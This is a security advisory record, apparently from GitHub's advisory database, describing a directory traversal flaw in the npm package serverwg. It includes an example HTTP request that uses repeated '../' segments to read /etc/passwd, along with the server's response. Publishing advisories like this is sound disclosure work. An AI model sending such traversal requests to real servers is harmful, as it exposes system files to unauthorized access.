{"id":"GHSA-2f29-pmpx-vj62","summary":"Directory Traversal in serverwg","details":"`serverwg` is a simple http server.\n\n`serverwg` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\nand response:\n```\nHTTP/1.1 200 OK\nDate: Wed, 17 May 2017 22:52:08 GMT\nConnection: keep-alive\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.","aliases":["CVE-2017-16101"],"modified":"2023-11-08T03:59:04.915756Z","published":"2020-09-01T16:52:33Z","database_specific":{"github_reviewed_at":"2020-08-31T18:20:32Z","nvd_published_at":null,"cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16101"},{"type":"WEB","url":"https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/serverwg"},{"type":"WEB","url":"https://www.npmjs.com/advisories/364"}],"affected":[{"package":{"name":"serverwg","ecosystem":"npm","purl":"pkg:npm/serverwg"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-2f29-pmpx-vj62/GHSA-2f29-pmpx-vj62.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}